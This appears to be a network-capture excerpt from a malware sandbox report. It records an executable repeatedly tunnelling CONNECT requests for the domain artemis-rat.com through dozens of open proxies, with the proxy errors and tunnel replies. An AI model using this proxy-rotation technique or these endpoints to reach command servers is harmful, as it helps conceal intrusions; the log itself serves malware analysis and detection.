770	192.168.2.5	52129	45.4.144.232	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.566601992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.5	52230	92.204.135.37	58604	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.570609093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.092344046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811336040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217612982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.5	52146	51.89.173.40	31724	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.570610046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.5	52249	162.241.158.204	50563	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.579627991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.092345953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811261892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108345985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.608529091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202213049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.723165035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.717564106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.5	52135	94.131.14.66	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.579654932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.5	52155	58.234.116.197	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.580598116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.5	52233	92.204.134.38	7785	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.582449913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.5	52143	181.12.80.21	12000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.584666967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.5	49856	37.32.98.160	8998	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.586561918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.701914072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702380896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702507019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.5	52243	159.223.166.21	45537	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.587518930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.201873064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.5	52023	223.112.53.2	1025	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.590306044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.454183102 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.5	52220	181.78.73.73	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.595635891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.201931000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092842102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.702281952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.948101044 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.5	52374	137.184.142.37	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.598787069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.5	52266	104.16.226.6	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.599039078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.753279924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.5	51510	43.255.113.232	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.601114035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.5	52376	137.184.142.37	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.601330042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.5	52273	185.162.229.127	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.615199089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.769377947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.5	52162	91.202.230.219	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.629513979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.5	52194	163.172.165.36	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.630141973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.704706907 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.5	51520	148.72.215.79	47202	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.630142927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811131001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.5	51537	91.201.240.84	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.630357027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.5	51870	199.58.185.9	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.634901047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.5	52377	137.184.142.37	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.655953884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.5	52291	104.18.251.208	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.659065962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.813730955 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.5	52195	147.75.34.85	10007	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.659070015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.965341091 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.5	52170	37.235.48.19	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.661433935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.5	52252	98.162.25.4	31654	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.665117979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.5	52217	45.128.133.241	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.665653944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.5	52296	162.159.242.62	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.666517019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.827595949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.5	52200	219.243.212.118	8443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.676711082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.004148006 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.5	52231	196.20.125.149	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.676824093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

